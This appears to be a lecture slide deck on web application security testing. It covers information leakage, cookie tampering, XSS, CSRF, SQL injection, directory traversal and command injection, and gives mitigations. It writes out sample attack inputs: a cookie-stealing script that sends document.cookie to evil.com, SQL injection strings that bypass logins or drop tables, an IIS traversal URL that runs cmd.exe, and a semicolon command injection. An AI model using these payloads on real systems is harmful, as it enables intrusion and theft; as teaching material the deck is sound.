1. Web Site Testing

2. Information Leakage Information Leakage gives attackers an advantage: HTML source code: Comments Sensitive information Server-side error messages, HTTP responses Application error messages

3. Information Leakage Download target website Search using a tool such as grep: HTML comments Application comments (ColdFusion, //, VB comments) IP-addresses E-mail addresses SQL queries Show database structure Show structure of queries Database connection strings Hidden input fields (see below)

4. Information Leakage Helpful error messages Classic example: Logon page returns different error messages depending on whether username was not in the database or password did not match Error messages should help user, but not give away too much information

5. Information Leakage Simple naming conventions Map site Guess naming conventions Example Reuters published third-quarter earnings of Intentia days before official release Intentia had put earning report on their server, but not yet provided a link Reporter guessed files location and name based on previous reports

6. Information Leakage Administrative pages need to be password protected, not just hidden

7. Information Leakage Attack sample scripts, components contained in default installations Default installations with samples are becoming rare because of bad experiences.

8. Information Leakage Banner Grabbing Web servers identify by default system software and version. Allows attackers to concentrate on vulnerable systems. Fingerprinting tools diagnose webserver and version Defense Camouflage Can change all server-identification to appear as another webserver Harder done than said

9. Information Leaking Test Plan Black Box Testing 1. Grab website to create site map 2. Use regular expressions to search for revealing information embedded in source code / pages: a.HTML comments b.application comments c. IP-addresses d.email addresses e.sql queries f.keywords used for database connection g.hidden input fields (which reveal other dangers)

10. Information Leaking Test Plan Black Box Testing 3. HTTP banner grabbing reveals webserver data 4. Cause error messages to be displayed Do error messages reveal too much? Typically also reveal webserver, database server data. 5. Scan cookies set by website for revealing field names. 6. Use site map to guess name of pages Especially search for remote control and administration pages Insure that pages cannot be accessed out of order visit shipping page without going to payment site

11. Information Leaking Test Plan Black Box Testing 7. Search for script pages that can be downloaded as source files 8. Run a brute-forcing tool (iDefense ID Auditor) to search for pages You are now entering the realm where you need explicit permission of the site owner. 9. Use a port scanning tool to find administrative / control pages at other ports. 10. Check for sample scripts left from default installations.

12. Information Leaking Test Plan White Box Testing Easier than White Box testing since source code and side map is available Insure consistent Webserver / Database camouflage policy Insure explicit design to enforce page control flow. Insure design to protect administration and control interface.

13. Attacking at the Client Client browser has complete control over data send out. Trivial changes when get method is used: Information is visible in URL and easily altered. Simple, but involved attack 1: User saves webpage Manually resolves relative links Alters input to be send Simple but involved attack 2: Use netcat to explicitly craft http requests Simpler attack: Use webbrowser proxy Paros

14. Attacking the Client Webservers need to validate client input At client: Moves load to client browsers Can be easily subverted At server: Creates bottle-neck Cannot be subverted Moral: Why not do both? (Warning: Personal Opinion) Vast majority of invalid data input is not an attack But no user input can be trusted

15. Attacking the Client Example Attack Points: Check boxes, radio buttons, drop-down menus implicitly restrict user input Javascript validation Hidden fields in forms Input length restrictions in form textbox

16. Attacking the Client Attacking State State is maintained using: forms and CGI parameters cookies fat URL page navigation captures state

17. Attacking the Client Attacking State Attacker can: edit URL e.g. guess and alter id in query string guess and jump to other pages (URL jumping) cookies edit cookie steal cookie edit forms / change output

18. Attacking the Client Attacking State: Cookie Poisoning day part of time stamp

19. Attacking the Client Attacking State Cookie Poisoning: Edit cookie to alter values. Old Example: Site stores cookie with expiration date. Cookie gives access to a web resource User changes expiration date. Time is in NTFS format Guess, change account information Use bit flipping

20. Bit Flipping Excurse Some good, some hopelessly flawed encryption technology XORs plain text with a random value Example: Key is emil65,6D,69,6C Plaintext is 007 :30,30,37,20 Cipher text is U]^L:55,5D,5E,4C

21. Bit Flipping Excurse 007 (drunk as usual) wants to change his cookie value to 003 Calculates XOR between 007 and 003 Translate into ASCII 30,30,37,20 – 30,30,33,20 Result is 00,00,04,00 XOR result to the encrypted value: 55,5D,5E,4C ^00,00,04,00 =55,5D,5A,4C

22. Bit Flipping Excurse 007 (drunk as usual) wants to change his cookie value to 007 Changes cookie to new value Goes to website Cookie decoded to wrong value at the webserver 007 has assumed identity of 003. Uses M5 email system to arraign rendez-vous Thats why 003 got killed by jealous husband.

23. Bit Flipping: Morale When fields are guessable: Use a different strong encryption method. Add unforgeable validation to cookie and validate at server Example: cookie-field = encrypted text + SHA256(plaintext.secret key)

24. Attacking the Client Cookie Stealing Transfer cookie from another computer Use a cookie-stealing attack http://www.it-observer.com/news/7047/firefox_cookie_stealing_vulnerability/ XSS attacks

25. Attacking the Client Attacking State: Fat URL User can change URLs Protection:Sensitive portion of URL needs to be encrypted Fat URL Testplan: Ensure that query string is encrypted. Ensure that debugging is not turned on through URL values: …?debug=1 etc.

26. Attacking User-Supplied Input Data Any user input needs to be validated. Attacks: XSS (see special presentation) SQL Injection Directory Transversal

27. Attacking User-Supplied Input Data Any user input needs to be validated. Attacks: XSS SQL Injection Directory Transversal

28. User Input Validation User input needs to be validated Test trust relationship in choke points within the boundary. This might violate the principle of defense in depth.

29. XSS: Basics Web browsers interpret scripts embedded in webpages Instance of Data Code confusion XSS enabled if users can provide input that becomes output: Messages to message board. Messages sent inadvertently by client for itself. Hello message board. This is a message. malicious code This is the end of my message. malicious code "> Click here M

30. XSS: Vulnerable HTML Elements Places an object such as an applet or media file in a document. Deprecated in HTML 4.0 in favor of

31. XSS Simplest Example Bulletin board allows users to enter message without checking. User enters: Haha. malicious code here Haha. http://realevil.com/bad.mov

32. XSS: Example Submit query to vulnerable site: http://www.mapquest.com/directions/main.adp ?1a=">> alert('test'); http://www.mapquest.com/directions/main.adp ?1a=">> alert('test');</script

33. XSS: Example Attacker sends URL of vulnerable site that forces an error: http://vulnerable.com/ malware http://vulnerable.com/ malware</script Vulnerable site handles the error by quoting malware in its response malware</script

34. April 2008 Example

35. XSS: ASP Example IIS ASP application for dynamically refining searches click-me

36. XSS: ASP Example ASP code click-me " ) %> Vulnerability: SearchString is taken directly from query string

37. XSS: ASP Example Attacker provides attack string: %22+onmouoseover%3D%27ClientForm% 2Eaction%3D%22evil%2Eorg%2Fget%2Easp%3FDat a% 3D%22+%2B+ClientForm%2EPersonalData%3BClient Form% 2Esubmit%3B%27

38. XSS: ASP Example Dynamically generated ASP page would look like: click-me

39. XSS Types DOM-based / local XSS Vulnerable site has a static html site that uses parts of the URL as input to local javascript Victim is baited to go to vulnerable site using a URL with attack information inside.

40. XSS: Local XSS Example XSS Example Hello var pos=document.URL.indexOf("name=")+5; document.write(document.URL.substring(pos,document.U RL.length));

41. XSS: Local XSS Example User sends URL: bobadilla.engr.scu.edu/xss0.html?name=thom as Receives basic welcome message. Attacker sends victim URL: bobadilla.engr.scu.edu/xss0.html?name= alert(document.cookie)

42. XSS: Local XSS Example Attacker sends victim URL: bobadilla.engr.scu.edu/xss0.html?name= alert(document.cookie) Victims browser starts parsing HTML into DOM When parser reaches the script, it executes it.

43. XSS: DOM The malicious payload was not inserted into HTML Using # instead of ? will not send the query string to the browser, but the attack still works. bobadilla.engr.scu.edu/xss0.html#name= alert(document.cookie) Attack cannot be detected at the vulnerable site?

44. XSS: DOM Javascript runs with webbrowsers privileges. Potential for remote code execution.

45. XSS: DOM Vulnerability does only exist when webbrowser does not internally translate the characters. Currently, IE7 is vulnerable Mozilla is not

46. XSS DOM Mitigation Avoid client side document rewriting, redirection, … Analyze any Javascript code Sanitize any user-controlled input

47. XSS-DOM Example var pos=document.URL.indexOf("name=")+5; var name=document.URL.substring(pos,document.URL.length); if (name.match(/^[a-zA-Z0-9]$/)) { document.write(name); } else { window.alert("Security error"); } Name can only contain alpha-numeric characters

48. XSS Types Non-persistent or reflected vulnerability Most common Typically promulgated by distributing URLs to victims. Vulnerable site uses user supplied input to dynamically build HTML page.

49. XSS Types Stored / persistent XSS Vulnerable site allows user to upload data. Attacker uploads script. Most pernicious: Attacker only needs to generate one attack.

50. XSS Payload Cookie Stealing Insert a script that places a resource from a site under attacker control Example: document.write( <img src=http://evil.com/px.gif?cookie=+document.cookie)

51. XSS Payload History stealing Attack based on different coloring for already visited sites Use XSS to move browser to attack site Site executes script that loops through well- known banking URLs Check color

52. XSS Payload Stealing search engine queries Create predictable search terms and combine with the history hack

53. XSS Payload Intranet Hacking Victim clicks on malicious web link JavaScript malware loads Java applet into browser Applet reveals internal IP address JavaScript then identifies and fingerprints web servers on intranet

54. XSS Payload Change contents of a news page Example (presupposing how images are being referred to) document.image[38].src=http://evil.com/evil.gif

55. XSS Payload Website Defacement Maria Sharapovas home page hack

56. XSS Mitigation Data Sanitation All user supplied input needs to be sanitized. Removing dangerous characters such as is not enough Attacker can use alternate codings Commenting out potentially malicious code is not enough Attacker can close the comment.

57. XSS Mitigation Example: Attacker provides malicious code: code After processing, input becomes: Attacker instead provides: - --> Code becomes:

58. CSRF: Cross-Site Request Forgeries Find XSS, get CSRF for free Example: Embed in html: Browser will execute iframe command Browser will send any (authentication) cookies along....

59. Attacking User-Supplied Input Data SQL Injection SQL Injection Happens when user input becomes input to a database. Basic fault is lack of input validation

60. Attacking User-Supplied Input Data SQL Injection Simple SQL injection attack example: string sql = select * from client where name = + uname + User enters uname: Schwarz. SQL command executed is string sql = select * from client where name = Schwarz This command reads every row in the table client. string sql = select * from client where name = Schwarz or 1=1 User enters uname: Schwarz or 1 = 1. SQL command executed is

61. Attacking User-Supplied Input Data SQL Injection SQL injection attacks are common. Some database servers allow a client application to perform more than one SQL statement. Suppose that user enters: Schwarz drop table client This builds an SQL query that queries table client and then deletes the table. Effects are greatly enhanced if the database runs at system administrator privileges.

62. Attacking User-Supplied Input Data SQL Injection Typical Use: URL query string for item: http://somesite.com/store/itemdetail.asp?id=666 If query string is passed directly to SQL query: SELECT name, picture, description price FROM products WHERE id=666

63. Attacking User-Supplied Input Data SQL Injection Dangerous Use: $SQLquery = SELECT * FROM users WHERE username=`.$_POST[username]. AND password=.$_POST[password].; $DBresult=db_query($SQLQuery); if($DBresult){ // username-password is correct, log the user on } else{ //username-password is incorrect }

64. Attacking User-Supplied Input Data SQL Injection Dangerous Use: The following inputs will break the authentication: Thomas` - - provided that a user Thomas exists. the -- makes the following an SQL comment ` ` OR 1 = 1 - - ` ` OR true et.cet.

65. Attacking User-Supplied Input Data SQL Injection Adding database commands: SELECT accountdata FROM acountinfo WHERE accountid = ` ; INSERT INTO accountdata (accountid,password) VALUES (`thomas`,12345) – AND password =

66. Attacking User-Supplied Input Data SQL Injection Mitigation: Run queries below the administrator level. Build sql statements securely, checking each component carefully.

67. Attacking User-Supplied Input Data: Directory Transversal Attacker tries to access unauthorized pages. Needs to guess location of pages. Uses../ to walk up directory trees.

68. Attacking User-Supplied Input Data Canonicalization Generic method to validate input Transforms input into a canonical form before deciding whether input is admissable. Example: / character / in http %5c UTF-8 encoding %c0%af (Unicode encoding

69. Attacking User-Supplied Input Data Double Escape Trick Example \ %5c (Hex encoding) %255c (Encode the %) Example: IIS4/ IIS5 Web server vulnerability http://www.vulnerable.com/app/..%c0%af..%c0%af../w innt/systems32/cmd.exe?/c+dir http://www.vulnerable.com/app/..%c0%af..%c0%af../w innt/systems32/cmd.exe?/c+dir After patching, attackers used the same string but double escaped the percentage signs. IIS4 / IIS5 did not resolve escapes in user input deep enough.

70. Attacking Applications on Server Buffer Overflows NULL Attack Place NULL into strings Some application moduless will sometimes not match strings with NULL, but others will resolve strings removing the NULL

71. Attacking the Server SQL Injection: Stored procedures Database servers have command shells that can be called from within a query: EXEC master..xp_cmdshell regread xp_regread xp_regwrite xp_regdeletekey xp_regdeletevalue xp_regremovemultistring ….

72. Attacking the Server Command injection User input is passed to various components. Example: Webpage will tell whether a given person is logged on. Implemented by passing user name to UNIX finger utility. Vulnerabilities: no parameters will print out all current users. Command injection: Piggy-back other commands by using a semicolon or a newline (\r\n); Try: tschwarz; ls –al Try: tschwarz\r\nls –al

73. Attacking the Server Fingerprinting server and using known exploits: HTTP headers reveal server information Can be used to find a known exploit Fingerprinting software forces errors and determines server software based on header placements.